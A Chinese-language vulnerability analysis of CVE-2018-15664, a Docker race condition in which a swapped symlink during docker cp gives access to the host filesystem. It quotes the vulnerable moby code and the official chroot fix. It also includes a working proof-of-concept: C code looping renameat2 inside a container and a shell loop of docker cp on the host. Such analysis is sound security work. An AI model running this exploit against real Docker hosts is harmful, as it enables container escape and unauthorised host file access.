漏洞分析
CVE-2018-15664是一个Docker漏洞,利用这个漏洞可以通过条件竞争攻击访问宿主系统的目录。
Docker在容器和宿主之间复制文件的时候,会先检查容器中的路径(源路径或目标路径)。如果路径是一个符号链接,就会替换成它指向的容器中的路径[1.1]:
func (daemon *Daemon) containerExtractToDir(container *container.Container, path string, copyUIDGID, noOverwriteDirNonDir bool, content io.Reader) (err error) { ...... // The destination path needs to be resolved to a host path, with all // symbolic links followed in the scope of the container's rootfs. Note // that we do not use `container.ResolvePath(path)` here because we need // to also evaluate the last path element if it is a symlink. This is so // that you can extract an archive to a symlink that points to a directory. // Consider the given path as an absolute path in the container. absPath := archive.PreserveTrailingDotOrSeparator( driver.Join(string(driver.Separator()), path), path, driver.Separator()) // This will evaluate the last path element if it is a symlink. resolvedPath, err := container.GetResourcePath(absPath) ...... if err := extractArchive(driver, content, resolvedPath, options); err != nil { return err } daemon.LogContainerEvent(container, "extract-to-dir") return nil }
在复制的过程中,Docker会chroot到目标路径,再解包文件[1.2]:
func untar() { ...... if err := chroot(flag.Arg(0)); err != nil { fatal(err) } if err := archive.Unpack(os.Stdin, "/", options); err != nil { fatal(err) } ...... }
Docker是直接chroot到目标路径的,而不是chroot到容器根目录,因此容器中的符号链接可以指向宿主中的路径。如果路径在检查阶段是一个普通目录,而在chroot之前变成了一个符号链接,那么当Docker从容器复制文件到宿主时,就可以复制符号链接指向的宿主文件;从宿主复制文件到容器时,也可以复制到符号链接指向的宿主路径。
漏洞复现
系统:Ubuntu 18.04
Docker:18.06.0
创建一个容器:
sudo docker run --name ubuntu -it ubuntu:18.04 bash
在容器中编译并运行exp:
#include <fcntl.h> #include <stdlib.h> #include <stdio.h> #include <unistd.h> #include <sys/stat.h> #include <sys/syscall.h> int main() { char *testsymlink = "/testsymlink"; char *testdir = "/testdir"; symlink("/", testsymlink); mkdir(testdir, 0755); while (1) syscall(__NR_renameat2, AT_FDCWD, testsymlink, AT_FDCWD, testdir, 2); return 0; }
上述exp会创建一个/testdir目录和一个指向根目录的符号链接/testsymlink。接下来会一直循环交换符号链接和目录。
回到宿主,在当前目录($HOME)下创建一个文件testfile,内容为“123”。然后一直循环执行docker cp并读取宿主根目录下的testfile文件:
while true; do sudo docker cp ./testfile ubuntu:/testdir/testfile && cat /testfile && break done
每次的复制操作可能会遇到以下几种情况:
1. 检查路径时/testdir是符号链接,解析为容器根目录,文件会被复制到容器根目录中;
2. 检查路径时以及复制时/testdir都是普通目录,文件会被直接复制到/testdir目录中;
3. 检查路径时/testdir是普通目录,复制时是符号链接,解析为宿主根目录,文件会被复制到宿主根目录中。
原本宿主的根目录下面是没有这个文件的,所以会一直循环并报错,而直到容器中的/testdir指向了宿主的根目录而非容器内的根目录时,才会将文件复制到宿主根目录的位置,使得这个文件可以被读取到,并结束循环。
官方修复
在复制之前,Docker会先chroot到容器根目录,这样符号链接就只能指向容器中的路径,而宿主的路径则不会被访问到[3.1]。
func untar() { ...... dst := flag.Arg(0) var root string if len(flag.Args()) > 1 { root = flag.Arg(1) } if root == "" { root = dst } if err := chroot(root); err != nil { fatal(err) } ...... }
参考
[1.1] https://github.com/moby/moby/blob/v18.06.0-ce/daemon/archive.go#L265
[1.2] https://github.com/moby/moby/blob/v18.06.0-ce/pkg/chrootarchive/archive_unix.go#L22
[2.1] https://bugzilla.suse.com/show_bug.cgi?id=1096726
[2.2] https://bbs.kanxue.com/thread-272962.htm
[3.1] https://github.com/moby/moby/pull/39292